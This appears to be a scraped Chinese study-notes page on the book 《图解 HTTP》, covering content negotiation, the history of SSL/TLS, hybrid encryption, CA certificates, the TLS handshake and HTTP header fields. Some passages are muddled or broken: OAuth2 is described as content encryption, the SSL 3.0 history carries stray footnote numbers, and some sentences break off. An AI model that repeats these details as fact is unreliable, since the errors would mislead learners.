content-encoding: gzipcontent-language: zhcontent-length: 17396accept-ch: Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version
复制代码

3.3.1 内容协商方式

内容协商的基本准则如下:


  1. 依靠客户端设置 HTTP 首部(也叫服务驱动内容协商或者说主动协商),内容协商最为标准的方式。

  2. 服务器返回 300 或 406,代理驱动方式或者响应协商机制。


服务器驱动协商(Server-driven Negotiation)


由服务器端进行内容协商。服务端协商中客户端请求随同 URL 会发送一份消息头表明自己的倾向性,服务器按照这个倾向性选择合适的资源返回。


服务器驱动的优点是充分利用 HTTP 协议规范减少额外的行为,因为是内容协商而不是格式协商,决定权实际上还是在服务端这一边。


当然这样的优点导致的代价是服务端的复杂性增加,因为需要“猜测”客户端的信息,同时可能会导致客户端发送报文越来越复杂。


客户端驱动协商(Agent-driven Negotiation)


由客户端进行内容协商的方式,用户协商类似用户选择浏览器的类型自动进行切换。


注意客户端驱动如果服务端不能回应客户端的请求,会退化为 服务器驱动协商,客户端驱动为了获取自己想要的内容需要 第二次发送请求(第一次获取列表,第二次才是得到资源),可见客户端的驱动模式并不是一种常用的方式。


代理驱动型内容协商机制


针对透明代理的改良方案,代理驱动主要是解决服务端协商的比较显著的痛点:规模化问题。


所谓的规模化问题指的当服务端请求出现大量资源并且需要添加首部情况下,会出现请求体积膨胀并且精确信息的发送也带来信息泄露问题。


注意代理驱动和透明代理存在一定区别,它使用了 HTTP 协议自创建依赖就支持又称为响应代理机制的东西,这种机制也是和客户端驱动协商类似,返回资源列表给用户进行选择然后需要第二次请求获取需要的资源。而透明代理借用了 Vary 首部完成协议兼容,有点类似“旁外招”。


所以代理驱动虽然减轻了服务端和客户端形成“中间商”参考的模式,但是也避免不了第二次请求的问题。


透明协商(Transparent Negotiation)


透明代理被代理驱动型内容协商机制取代。


透明协商机制试图从服务器上去除服务器驱动协商所需的负载,并用中间代理来代表客户端以使与客户端的报文交换最小化。


这是服务器驱动和客户端驱动的结合体,是由服务器端和客户端各自进行内容协商的一种方法。但是因为后续历史没被认可所以被遗弃。


透明协商在 HTTP 并没有提供相应的规范,所以 HTTP/1.1 规范中没有定义任何透明协商机制,但定义了Vary首部,所以透明代理主要使用了Vary这个额外的字段完成协议兼容。


Vary 响应首部是什么? 在 HTTP1.1 协议中被添加,是通过服务器响应给客户端协商内容的时候一并返回的,服务端最终使用了那个首部清单。 最大的受益者不是客户端反倒是缓存服务器,缓存服务器检查发现 Vary 字段之后启用透明协商机制委托传输。

缓存服务器是啥?请看这篇文章[[《网络是怎么样连接的》读书笔记 - 汇总篇]]中关于负载均衡概念的介绍。


Alternates 首部


同样没受到认可被遗弃。网上都搜不到啥资料,忽略即可。

3.4 小结

上面介绍了众多的 内容协商方式,实际上仔细观察现在的网站会发现服务器驱动协商代理驱动型内容协商机制为主。


前者是 WEB 服务提供商可以根据用户的请求推送喜欢的内容,并且不需要二次发送请求节省带宽,适合绝大多数 WEB 用户,当然用户体验取决于服务端应用程序开发者的水平。


代理驱动型内容协商机制则多用于支持国际化的网站,比如一些大商城或者百科等,比较典型的比如 Apple 和维基百科等这些网站,提供了“建议”选项询问用户选择哪种语言进行浏览。


而客户端代理主动权掌握在用户手上,服务端无法把控的同时不利于商业推广,所以大部分 WEB 网站会“屏蔽”这种方式,另一方面代理驱动能减轻服务器压力同时兼容了客户端驱动的特点,所以被代理驱动取代也十分正常。


最后是透明代理,透明代理使用的“旁门左路”的自定义的协议不怎么通用的,所以被淘汰以及被代理驱动取代也很正常。

#tjhttp 八、《图解 HTTP》 - HTTPS

知识点

  1. HTTPS 是什么?HTTP 有哪些缺点?

  2. SSL、TLS 为啥总是被放到一起,有什么区别?

  3. SSL、TLS 历史背景。

  4. SSL 的加密细节,加密算法了解。

  5. SSL 的加密流程。

HTTP 缺点

  1. 明文通信,内容容易被窃听。

  2. 无身份验证,容易受到伪装请求攻击。

  3. 无法验证报文完整,无法防篡改。


除了协议本身的漏洞之外,一些编程语言也可能编写出不安全的网络应用程序。

明文窃听

既然 HTTP 是不加密通信的,那么自然会好奇它是如何被窃听的。


所谓的窃听是因为 TCP/IP 模型的物理层、数据链路层、网络层这几层所需要的设备支持都不可能是个人用户所具备的东西,所以在这几个环节进行通信窃听是完全有可能的。


整个窃听的过程如下图,在网络信息通过网卡发出去的那一刻,网络包中间被“加工”的可能性就会急剧增加。这样的情况就好比一个快递从站点发出去的一刻,就有可能出现各种各样的情况。


此外加密通信并不是保证信息不被窃听,而是在窃听方拿到网络包之后无法破解明文信息内容,这样“加密”的特性就算是达到了。



常见的窃听方式比如 WireShark,可以对于请求进行抓包处理。


如何防止窃听


防止明文窃听通过加密进行保护处理的方式有两种:


  • 通信加密:

  • SSL(Secure Socket Layer,安全套接层),也就是 HTTPS 里面的 S,实现方式是在 HTTP 的基础上组合使用 SSL 通信。

  • TLS(Transport Layer Security,安全层传输协议)致力于替代 SSL 协议,是目前的主流协议(SSL 已在 2015 年遭到废弃)。

  • 内容加密:

  • 在传输之前对于内容明文按照某种特定规则加密,比如最常见的 OAuth2。

无身份验证

无身份验证体现在下面几个方面:


  • 人人都可以发送请求

  • 无法确认响应的服务器是否真实。

  • 无法确认发送请求的客户端是否真实。

  • 无法验证发送方是否符合权限。

  • 无法判定请求来源。

  • 无法阻止无意义攻击(Ddos 攻击)。


进行身份验证


SSL/TLS 需要通过第三方符合资质的机构进行数字认证,能获得这一机构认证本身就是十分麻烦的事情,所以通常颁发认证证书的服务器基本都可以获得加密保障,同时确认请求方的证书能有效的控制请求来源,对于客户端也能清楚请求的对方是合法安全的。

无法验证报文完整

请求在传输和响应的过程中遭到拦截并且篡改攻击的手段叫做中间人攻击(Man-in-the-Middle attack,MITM),在许多情况下这是很简单的(例如,在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络)。


一个中间人攻击能成功的前提条件是攻击者能将自己伪装成每一个参与会话的终端,并且不被其他终端识破。中间人攻击是一个(缺乏)相互认证的攻击


如何防止篡改


针对中间人攻击,HTTP 通常使用 MD5SHA-1 等散列值校验的方法,以及用来确认文件的数字签名方法提高安全性。此外 Web 网站也会提供相应的以 PGP(Pretty Good Privacy,完美隐私) 创建的数字签名及 MD5 算法生成的散列值。


但是这些手段依然无法完全保证 PGP 不会被篡改,HTTP 本身的可靠保证过于缺乏 。


SSL 协议可以验证参与通讯的一方或双方使用的证书,校验是否是由权威的受信任的数字证书认证机构颁发,并且能执行双向身份认证。


PGP 是用来证明创建文件的数字签名,MD5 是由单向函数生成的散列值。


以上内容便是 HTTP 本身暴露的许多缺陷导致的信息泄漏问题,也是为什么要引入 SSL/TLS 协议来强化 HTTP 的协议的几个理由。下面我们来聊聊 SSL/TLS 的历史。

SSL/TLS 历史

现在我们讨论的 SSL 实际上是 TLS,因为 SSL 协议本身的各种问题早已经被废弃了,目前主流的 SSL 实际上使用的是 TLS 的协议规范。


但是因为 SSL 被广为流传,结合历史原因,所以依然沿用这样的说法并不会产生歧义。


接着我们得明白HTTP+ 加密 + 认证 + 完整性保护=HTTPS这个 HTTPS 的含义。


SSL/TLS 也是类似 Cookie 和 Session 一样,在不干扰协议本身运作的情况下对于 HTTP 协议本身进行保护和增强。


使用 HTTPS 请求之后,在浏览器输入地址的时候需要将原本的 HTTP 转化为 HTTPS。


无论是 OSI 七层模型还是 TCP/IP 模型,都为每个通信层的职责划分了明确的界限,HTTP 是依赖 TCP 进行数据传输的,但是 TCP 为了保证单一职责和高效不会搭理 HTTP 的安全请求(本身也没有),他只负责数据包的收发,所以 TCP 是不能随便动的。而 HTTP 同样历史发展悠久,也难以在短时间内对于协议修订和增强。


可以看到,HTTP 是应用层协议,TCP 是传输层协议,HTTP 依赖 TCP 完成数据传输,所以 SSL/TLS 肯定是在应用层或者占据着传输层?


传输层必不可能,因为无法 HTTP 兼容,放到应用层这一说法其实也不完全准确。实际上 SSL 在 TCP 和 HTTP 的中间,类似处在两个应用的夹层里面,也就是所谓的架构难题的绝招 -- 遇事不决加一层。(因为干涉任意一层都引出更多的问题)。


中间夹层不知道为什么让我想到了《黑客帝国 3》的那个车站。



明白了 SSL/TLS 所处位置,我们继续了解 SSL/TLS 的历史。


在许多参考资料中很多时候我们一会儿看到 SSL 的描述,一会儿看到 TLS 的描述,首先得再分清两者本身的定义。


如书中所言:


  • SSL(Secure Socket Layer,安全套接层)

  • TLS(Transport Layer Security,安全层传输协议)


看似是协议和“伪通信层”的东西两个不同的东西,实际上 SSL 是 TLS 的前身,或者说 TLS 出现的本意就是为了替换 SSL 而出现的“竞品”。


SSL 最早出现,出道即拉胯。随着历史发展发现 SSL 总是存在这样那样的缺点被人诟病。TLS 乘胜追击逐渐取代 SSL,到了目前最新的版本是 TLS1.3(已经有了一半左右的普及度)。


这里参考维基百科的介绍,大致介绍 TLS/SSL 的历史。

SSL 1.0、2.0 和 3.0

  • SSL1.0 从来没有发布过,因为存在巨大的安全漏洞和隐患。

  • 2.0 版本在 1995 年 2 月发布后,很快被发现包含许多安全和可用性缺陷。SSL 2.0 在 2011 年被 RFC 6176 弃用。另外 SSL 2.0 假设只有一个服务和一个固定域证书,这与 Web 服务器中广泛使用的虚拟主机功能相冲突,因此大多数网站实际上都因使用 SSL 而受到损害。

  • 弃用原因:

  • 消息认证使用 MD5 。 有安全意识的用户已经不再使用 MD5 [RFC6151]。

  • 握手消息不受保护。

    • 消息完整性和消息加密使用相同的密钥,即如果客户端和服务器协商弱加密,则会出现问题。

    • 会话可以轻松终止。 中间人可以轻松插入 TCP FIN 关闭会话,对端无法确定这是否是会话的合法结束。

  • SSL 版本 3.0.17 15 1996 年发布,它由 Paul Kocher 与 Netscape 工程师 Phil Karlton 和 Alan Freier 合作制作,并由 Christopher Allen 和 Tim Dierks 设计的Consension Development参考实现。

  • 2014 年,SSL 3.0 被发现容易受到影响 SSL 中所有块密码的 POODLE 攻击。RC4 是 SSL 3.0 支持的唯一非块密码,在 SSL 3.0.18 SSL 3.0 中使用时也可能被破解。

  • RFC 7568 - Deprecating Secure Sockets Layer Version 3.0 (ietf.org)2015 年 6 月弃用 SSL3。


所以 SSL1.0 到 3.0 都是比较坑的玩意儿,难怪会全面转向 TLS,在 2018 年,谷歌、微软、苹果同时声明废弃 TLS1.1、TLS1.0 的使用,目前有 99% 的服务器支持 TLS 1.2,基本已经完成 TLS 全面普及。

TLS

TLS 并不是在 SSL 出现问题之后才出现的,而是在 SSL3.0 出现之后开始修订。


  • TLS 1.0 于 1999 年 1 月在 RFC 2246 - The TLS Protocol Version 1.0 (ietf.org) 中首次定义为 SSL 版本 3.0 的升级。

  • TLS 1.1 TLS 1.1 于 2006 年 4 月在 RFC 4346 - The Transport Layer Security (TLS) Protocol Version 1.1 (ietf.org) 中定义,重要的改进点如下:

  • 增加了对密码块链接 (CBC) 攻击的保护。

  • 隐式初始化向量 (IV) 被显式 IV 取代。

  • 更改填充错误的处理方式。支持 IANA 参数注册。

  • TLS 1.2 于 2008 年 8 月在 RFC 5246 中定义。它基于 TLS1.1 进行了下面的升级。

  • 伪随机函数 (PRF) 中的 MD5–SHA-1 SHA-256 取代,并带有使用密码套件指定 PRF 的选项。

  • 完成的消息哈希中的 MD5–SHA-1 函数被 SHA-256 替换,并带有使用特定于密码套件的哈希算法的选项。但是完成的消息中的哈希大小仍限制必须至少为 96 位。

  • 数字签名元素中的 MD5–SHA-1 被替换为握手期间协商的单个哈希,默认为 SHA-1

  • 增强了客户端和服务器指定它们接受哪些哈希和签名算法的能力。

  • 扩展了对经过身份验证的加密密码的支持,主要用于高级加密标准 (AES) 加密的伽罗瓦/计数器模式 (GCM) 和 CCM 模式。

  • TLS 1.3 于 2018 年 8 月在 RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3 (ietf.org) 中定义。它基于早期的 TLS 1.2 规范。与 TLS 1.2 的主要区别包括:

  • 将密钥协议和身份验证算法与密码套件分离。

  • 删除对弱椭圆曲线和较少使用的命名椭圆曲线的支持。

  • 删除对 MD5SHA-224 加密哈希函数的支持。

  • 即使使用以前的配置,也需要数字签名。

  • 整合 HKDF 及半瞬时 DH 建议。

  • 用 PSK 和门票替换恢复。

  • 支持 1-RTT 握手和对 0-RTT 的初始支持。(和 QUIC 有关)。

  • 通过在 (EC)DH 密钥协议期间使用临时密钥来强制实现完全的前向保密。

  • 放弃对许多不安全或过时功能的支持,包括压缩、重新协商、非 AEAD 密码、非 PFS 密钥交换(其中包括静态 RSA 和静态 DH 密钥交换)、自定义 DHE 组、EC 点格式协商、更改密码规范协议、Hello 消息 UNIX 时间以及长度字段 AD 输入到 AEAD 密码。

  • 禁止 SSL 或 RC4 协商以实现向后兼容性。

  • 集成会话哈希的使用。

  • 弃用记录层版本号并冻结该编号以提高向后兼容性。

  • 将一些与安全相关的算法详细信息从附录移动到规范,并将 ClientKeyShare 降级到附录。

  • 添加带有 Poly1305 消息身份验证代码的 ChaCha20 流密码。

  • 添加 Ed25519 和 Ed448 数字签名算法。

  • 添加 x25519 和 x448 密钥交换协议。

  • 添加对发送多个 OCSP 响应的支持。

  • 加密服务器后的所有握手消息。


许多材料会把 TLS/SSL 的 SSL 放在后面,目的是考虑 TLS 是目前的主流,放在前面是较为合适的。


所以用现在的眼光看其实 SSL 早就已经被禁止了,目前主流的 HTTP 加密传输是基于 TLS 实现的。此外维基百科上有几张图介绍 TLS 对比 SSL 的优势,可以较为直观展示两者的优缺点。


算法



密码



数据完整性



网站支持


此外,根据 2022 年的数据显示,TLS1.3 的覆盖率和 HTTP2.0 差不多,但是 TLS1.2 经过这几年普及基本全方位支持。


TLS/SSL 工作机制

在了解 SSL 细节之前,我们需要先讲解加密方法:公开密钥加密共享密钥加密

共享/公开密钥加密

共享密钥加密加密是通信双方持有同一把钥匙加解密信息,所以这种加密方式也叫做对称密钥加密或者共享密钥加密



共享密钥最大的问题是钥匙传输给对方的过程中有可能遭到劫持,一旦传输密钥遭到劫持,共享密钥加密的方式就相当于作废了。


中间人攻击只需要拿到密钥,双方传输加密报文的时候拦截请求数据并且伪造自己的数据,就可以同时“剽窃”双方向的敏感信息。


为了处理这个问题,需要使用公开密钥加密对于共享密钥加密对加密方式进行了改进。


改进方式很简单那就是把钥匙换成一把只能用于加密,这把钥匙可以公开对外使用,而另一把只能用于解密,只有服务端的私钥可以解开公开密钥加密的信息,外部无法通过公钥破解。


如果能在短时间内快速的进行因式分解,那么全世界所有的密码都是透明的。有时候解密不一定是无法破解,而是破解的代价在现实上“不可能”,比如需要花费上千年的时间破解一串密码,等到破解那时候。。。。可能被破解的资源都没了。


公开密钥加密的最大特点是加密和解密的钥匙并不是同一把,两边对于密文的加解密方式不一样,所以这样的加密方式也别叫做 非对称密钥加密


混合加密

HTTPS 并不是完全使用公开密钥加密或者共享密钥加密,而是通过两种加密混合的方式进一步提升安全。


共享密钥的问题在于密钥泄露的安全性问题,而公开密钥加密因为加解密的钥匙不是同一把,需要花费更多的操作运算和验证。


HTTPS 在设计的过程中基于安全和速度的考虑,最终的决定是在连接握手的过程中使用非对称密钥加密确保安全,在服务器非对称加密验证通过之后,会返回稍后需要共享对称加密的密钥信息。在握手完成之后,在确保安全的前提之下, 使用对称加密的密钥进行共享对称加密的信息交互。


需要注意这里提到的加密认证是单向认证,也就是说只会验证服务端的真实可靠性,服务端无法准确保证客户端是可靠的(但是可以确保传输是安全的)。

客户端认证只在特殊的服务上会用到,大部分服务更多使用服务端单向认证,因为多数服务就是设计给所有人都可以访问的。


数字证书加密

混合加密的方式看起来很靠谱和安全,但实际上依然存在问题,那就是无法证明公开密钥本身的真实性,为了理解这一点我们可以回顾共享密钥加密的描述图,在其中展示了攻击者在密钥传输的过程中盗取共享密钥的行为。


如果把这一行为替换为盗取公开密钥,则可以在客户端请求的时候劫持替换为攻击者自己的非对称加密密钥,之后的共享加密同样也是,可以被轻易获取。


具体的攻击过程如下:


  1. 服务端在数字证书认证成功之后,和客户端进行公开密钥加密认证,此时中间人截取到公开密钥,伪造出自己的公钥(同时拥有自己的私钥)以及用于共享之后传给 SSL 认证的客户端。

  2. 客户端拿到被替换的服务端公钥认证,将共享加密的密钥通过伪造的密钥加密之后,回传给服务端。

  3. 中间人继续劫持掉客户端请求,通过自己的私钥解密之后,用自己伪造的共享加密密钥,利用上一次服务端传递的真实公钥,加密之后传给服务端。

  4. 服务端拿到被加密的假的的共享密钥之后,解密获得中间人的共享加密密钥。

  5. 原本


在这样的攻击手段之下,为了保证客户端请求的服务器的真实性,采用第三方权威机构认证是合理的。


CA 证书


为了解决这个问题,所采用的方式是通过第三方机构数字认证机构(CA,Certificate Authority),加入 CA 之后整个验证过程如下:


  • 服务端运营请求数据认证机构申请公开密钥,数字机构验证请求者的数字认证信息,然后分配给已经签名的密钥,然后把公开密钥放入到公钥证书绑定一起返回。

  • 服务器将颁发的数字认证机构的公钥证书发给客户端,使用公开密钥加密通信。这一步也叫数字认证机构传递证书

  • 客户端使用数字证书认证公开密钥,对于数字签名认证,认证通过可以获取两个信息

  • 认证服务器的公开密钥的数字认证机构是否合法真实。

  • 被认证的服务器公开密钥是否真实。


注意认证机关的公开密钥必须安全传给客户端,否则哪怕是数字认证本身还是有可能被篡改。为了规避这一个问题,许多浏览器会在安装的时候认证机构的公开密钥。


但是浏览器自带证书也有安全隐患,那就是数字认证机构遭到入侵后果不堪设想,历史上也真发生过类似事件。



EVSSL 证书


证书的作用是保证服务端的公开密钥的真实性,也可以验证服务器是否真实存在。


EV SSL 证书是基于国际标准的认证指导方针颁发的证书。主要的作用是提高网站的认可度。


有时候浏览器如果带 HTTPS 会出现绿色打勾的字样,这样做是提醒用户网站合法性。



客户端证书


客户端证书通常会出现在安全性要求极高的特殊业务当中,同时客户端本身需要支持 SSL 证书的开销,但是 SSL 的客户端证书只能证明请求的机器是没有问题的,但是无法保证


机构信誉


作为数字认证的机构一旦出现问题后果不堪设想,在过去曾经出现过数字认机构被黑客破解的情况,其对于 SSL 的公信力是一次巨大打击,


OpenSSL


OpenSSL 是可以让用户自己构建一套认证机构的开源程序,但是仅能作为本地使用。


如果出现外部访问,浏览器会提示“无效证书”等内容。


HTTPS 的通信步骤

下面依照 SSL 的的交互步骤介绍 HTTPS 的通信过程。


这部分内容在[[《图解 HTTP》- 用户身份认证]]里面的 SSL 流程一致,但是对于细节做了进一步扩展。



第一次握手:确认支持 SSL


  1. 客户端发送 Client Hello 开始 SSL 通信,HandShake 就是握手的意思,报文中指定 SSL 版本和加密组件(加密算法和密钥长度等)。服务器支持 SSL 通信,返回Server Hello 应答,报文加入 SSL 的版本以及加密信息。服务器的加密组件需要根据客户端支持的加密通信方式筛选。

  2. Version: 客户端支持的 TLS 协议版本

  3. Random: 客户端生成的随机数,随后用于生成 master secret

  4. SessionID: 会话 ID,如果不为空,表示客户端想重用该会话

  5. CipherSuites: 客户端支持的加密套件列表,在 SessionID 为空时必须携带

  6. CompressionMethods: 客户端支持的压缩算法列表

  7. Extensions: 扩展内容


第二次握手:服务端证书验证


  1. 接收到客户端 SSL 版本以及加密组件信息,服务器支持 SSL 通信如果则返回Server Hello 应答。

  2. 服务器发送 Certificate 报文,报文包含公开密钥证书,证书必须是 x.509 标准格式,包含服务端公钥、服务端域名、签发方信息、有效期等信息。

  3. 服务器发送Server Hello Done表示 SSL 最初的握手协商已经结束。


第三次握手:客户端确认


  1. 客户端按照Client Key Exchange 回应,这个报文会在通信加密中使用Pre-mastersecret的随机串,这个随机串第一步部分的第三个步骤已经偷偷完成加密了。

  2. 客户端继续发送 Change Cipher Spec 报文,告知服务器后续使用Pre-master secret 密钥加密通信(共享对称加密)。

  3. 客户端发送 Finished 报文。在这个报文中包含整个报文回应的校验和,客户端确认是否完成要根据服务器能否认识这一段加密报文为主。


第四次握手:服务端确认


  1. 服务器同样发送 Change Cipher Spec 报文,表示自己认识客户端的加密信息。

  2. 服务器同样发送 Finished 报文,SSL 连接建立完成。


至此 SSL 连接建立完成,通信将会受到协商好的共享密钥加密保护,应用层开始进行通信。应用层通信,服务端进行响应。


断开连接


  1. 客户端主动断开链接。断开连接会发送 close_notify 的报文。之后发送 TCP FIN 报文关闭通信。


注意在整个 SSL 四次握手的过程中,应用层发送数据时会附加一种叫做 MAC(Message Authentication Code)的报文摘要。MAC 能够查知报文是否遭到篡改,从而保护报文的完整性。


最后是书中给的一幅图,了解整个加密过程(个人感觉画的一般,有点乱)



CBC 模式(Cipher Block Chaining)又名密码分组链接模式。此模式会把一个明文模块加密处理之后的下一个明文进行 XOR 运算。重叠之后对于运算结果进行加密处理。对于第一个明文进行加密之后,


最后是 IETF 关于 TLS 协议原文的握手步骤,看起来比较抽象,但是实际上算是最权威的交互信息了,图片展示是 TLS1.2 的协议原文内容:


除开最后一次的数据交互之外,服务端和客户端需要四次握手才能完成。


也就是说从 TCP 连接到 SSL 连接完成,一共需要 9 次握手才能最终建立一个安全连接,所以其效率可想而知。


为什么不全用 HTTPS

  • 纯文本通信对比的加密通信消耗更多资源

  • 非敏感的 HTTPS 使用意义和价值不大

  • 购买证书的开销和成本。CA 证书购买开销不菲,但是对于现在的很多服务器来说是一笔必要开支,虽然有时候非常不合算。

#tjhttp 七、《图解 HTTP》- HTTP 首部和 HTTP 协作服务器


7-1. HTTP 首部

虽然平时感受不到,但是却是互联网天天在用的东西,这本书花了 50 多页的内容介绍它,可见它的重要性。


HTTP 首部包含三个部分,报文首部,空行和报文主体,报文首部包含了客户端重要的传输信息,而报文体则是“负荷数据”,包含获取服务器信息需要传递的数据。



HTTP 报文由方法、URI、HTTP 版本、HTTP 首部字段等部分构成。



下面是请求报文的案例信息:


GET / HTTP/1.1Host: hackr.jpUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8Accept-Language: ja,en-us;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveIf-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMTIf-None-Match: "45bae1-16a-46d776ac"Cache-Control: max-age=0
复制代码


响应报文结构如下:



响应报文内容:


HTTP/1.1 304 Not ModifiedDate: Thu, 07 Jun 2012 07:21:36 GMTServer: ApacheConnection: closeEtag: "45bae1-16a-46d776ac"
复制代码

7.0 首部字段介绍

首部字段是 HTTP 的重要组成部分。


HTTP 首部字段结构


首部字段由 key/value 的字段名和字段值组成,通过冒号进行分隔,字段值可以是单个值,也可以是多个值,对于多个值会使用逗号进行分隔。


如果首部字段出现重叠怎么办?在规范当中并没有进行明确规定,取决于浏览器和实现方是如何处理的,比如有些浏览器会优先处理第一次出现的首部字段,而有些则会优先处理最后出现的首部字段。


首部字段分类


  • 通用首部字段(General Header Fields):请求和响应通用首部。

  • 请求首部字段(Request Header Fields):从客户端向服务器端发送请求报文时使用的首部。

  • 响应首部字段(Response Header Fields):从服务器端向客户端返回响应报文时使用的首部。

  • 负载(实体)首部字段(Entity Header Fields):在负载的部分使用的首部信息,客户端和服务端都有可能存在。


HTTP/1.1 首部字段


下面是几张关于首部字段的表,包首部字段分类对应的四个分类:


通用首部字段



请求首部字段



响应首部字段



负载首部字段


7.1 非 HTTP/1.1 首部字段

在 HTTP 协议通信中使用的首部字段除了上面定义的之外,非正式的首部字段统一归纳在 RFC4229 HTTP Header Field Registrations 中,感兴趣可以直接进网页看看相关的白皮书信息。


缓存代理行为


缓存代理行为通过两个字段:端到端首部(End-to-end Header)逐跳首部(Hop-by-hop Header)


对于第一个端到端首部(End-to-end Header)会转发请求和响应信息给最终目标并且必须存在于由缓存生成的响应,要求是同时必须被转发。


第二个逐跳首部(Hop-by-hop Header)则只对单次转发有效,如果通过了缓存或者代理则不会进行转发。另外使用逐跳首部需提供 Connection 首部字段需要包含下面的内容:


ConnectionKeep-AliveProxy-AuthenticateProxy-AuthorizationTrailerTETransfer-EncodingUpgrade
复制代码

7.2 通用首部字段

通用首部字段信息包含下面的内容:

7.2.1 Cache-Control

顾名思义,用于操作缓存的首部字段,案例Cache-Control: private, max-age=0, no-cache,缓存首部字段基本存在下面的值,需要指定最大响应 age 和缓存最大的有效时间,防止缓存过久有效和过短失效。


缓存请求指令表响应指令参考表如下:




public 指令(Cache-Control: public)


Cache-Control: public,这样的首部声明表明其他的用户也可以使用这份缓存,意味着这是公用的缓存信息。


private 指令(Cache-Control: private)


Cache-Control: private 和 public 命令正好相反,只能给特定用户作为对象,缓存服务器会为特定的用户缓存数据,其他用户则没用此行为。


no-cache 指令(Cache-Control: no-cache)


目的是为了防止从缓存中返回过期的资源。表示每次请求将不会接受缓存过的数据,如果请求中携带这个指令表明返回的内容不能是缓存过的数据。


注意⚠️:从字面意思上很容易把 no-cache 误解成为不缓存,但事实上 no-cache 代表不缓存过期的资源,缓存会向源服务器进行有效期确认后处理资源。


Cache-Control: no-cache=Location


如果在 cache-Control 当中指定具体的参数值,则客户端接收到这个被指定参数值的首部对应报文之后就不能缓存,这个指令的区别是由服务器指定客户端不允许进行缓存操作。


控制可执行缓存的对象的指令


no-store 指令(Cache-Control: no-store)


​ 表示请求或者响应有机密信息。该指令规定缓存不能在本地存储请求或响应的任一部分。


s-maxage 指令(Cache-Control: s-maxage=604800(单位 :秒)


​ 和 max-age 指令相同,它们的不同点是 s-maxage 指令只适用于供多位用户使用的公共缓存服务器,同一个用户重复返回响应此字段是无效的。


注意⚠️:使用 s-maxage 之后会忽略Expire字段。


max-age 指令


​ 客户端:指定接受最大缓存时间的资源,高于该时间的资源不接受缓存数据,如果为 0 则表示每次都需要请求源服务器。


max-stale 指令(Cache-Control: max-stale=3600(单位:秒))


​ max-stale 指示缓存资源,过期也要照常接受。如果指令没有指定参数值,客户端会接收响应。如果指定参数即使过期,只要处于这个指定值之内依然可以被客户端接收。


only-if-cached 指令(Cache-Control: only-if-cached)


​ 表示只在缓存服务器上获取目标服务器被缓存的资源,如果缓存服务器也没有数据则返回 504 状态码


504 网关超时:服务器充当网关或者代理的时候,没有收到响应。和 408 的区别是 408 是服务端接受客户端超时,504 是代理接收服务端超时。


must-revalidate 指令(Cache-Control: must-revalidate)


​ 表示代理会向源服务器再次验证即将返回的响应缓存目前是否仍然有效,如果是无效的,要求缓存服务器返回 504 的状态码。


注意⚠️:must-revalidate 指令会忽略请求的 max-stale 指令。


proxy-revalidate 指令(Cache-Control: proxy-revalidate)


​ 要求所有缓存服务器收到客户端带有指令的请求返回响应之前验证缓存有效性。



no-transform 指令(Cache-Control: no-transform)


​ 请求和响应不能接受改变负载的媒体类型。


Cache-Control 扩展 cache-extension token Cache-Control: private, community="UCI" 这种写法表示通过 token 标记扩展改首部字段的命令, 比如community这个指令是不存在的,但是通过这样的扩展实现兼容。但是这种兼容只能是理解它的缓存服务器才会回应,其他的缓存服务器会直接忽略掉。

7.2.2 Connection

这个首部字段的作用如下:


  • 控制不转发给代理的首部字段。

  • 管理持久连接。


控制不再转发给代理的字段


​ 可控制不再转发给代理的首部字段(即 Hop-by-hop 首部)。


管理持久连接


​ 如果当服务器端想明确断开连接时,通过指定 Connection 首部字段的值为 Close 完成这项操作。但是需要注意 HTTP1.1 默认都是Keep-Alive 的持久连接。


​ 反之,在此之前的版本都是非持久的连接,如果想要实现和 HTTP1.1 一样的效果需要Connection:Keep-Alive 完成这项操作。

7.2.3 Date(Date: Tue, 03 Jul 2012 04:40:59 GMT)

​ 表明 HTTP 报文创建的日期和时间。


​ HTTP/1.1 协议默认会使用在 RFC1123 中规定的日期时间的格式:


Date: Tue, 03 Jul 2012 04:40:59 GMT


​ HTTP1.1 之前的版本使用下面的内容,使用的协议是 RFC850,主要内容如下所示:


Date: Tue, 03-Jul-12 04:40:59 GMT


​ 除此之外还有一种方式是使用 C 标准库内的 asctime() 函数的输出格式一致:


Date: Tue Jul 03 04:40:59 2012

7.2.3 Pragma(Pragma: no-cache)

Pragma 是 HTTP/1.1 之前版本的历史遗留字段,为了 HTTP1.0 之后向后兼容,规范的内容形式唯一而存在着,比如下面的内容:Pragma: no-cache


主要用于客户端告知服务器不接受缓存内容,这种字段和Cache-Control:no-cache指定缓存处理最为理想。


Cache-Control: no-cachePragma: no-cache
复制代码

7.2.4 Trailer(Trailer: Expires)

表明报文主体之后记录了什么样的首部字段,主要用于 HTTP1.1 的分块传输编码使用。


HTTP/1.1 200 OKDate: Tue, 03 Jul 2012 04:40:56 GMTContent-Type: text/html...Transfer-Encoding: chunkedTrailer: Expires...(报文主体)...0Expires: Tue, 28 Sep 2004 23:59:59 GMT
复制代码


上面的案例使用了 Expires 字段指定资源的失效日期。

7.2.5 Transfer-Encoding(Transfer-Encoding: chunked)

规定传输报文的时候使用的编码方式,HTTP1.1 的传输编码只能够作用于分块传输编码。

7.2.6 Upgrade

表示尝试使用更高版本的协议和服务器之间进行通信,但是不一定是 HTTP 协议,可以指定完全不同的协议。



书中的例子使用了 TLS 的协议仅限验证,注意传输报文的细节部分,比如 Connection 里面指定了 Upgrade,能够产生作用范围的是客户端以及相邻的服务器,所以需要指定Connection: Upgrade 才能生效。


另外服务遇到带有 Upgrade 的请求,可以使用返回码 101 作为响应码返回。


Upgrade 经典使用场景是 WebSocket 升级协议。

7.2.7 Via

主要用于最终客户端到服务器之间的请求和响应报文到传输路径,报文经过了代理和网关时候,会在 Via 当中附加服务器信息然后再进行转发。首部字段 Via 不仅用于追踪报文的转发,还可避免请求回环的发生。



请求每一次经过代理服务器,首部的 Via 字段就会增加一次,VIa 字段用于追踪传播路径,通常会和TRACE方法一起使用,如果Max-Forward变为 0,则会停止代理服务器之间的转发操作。

7.2.8 Warning

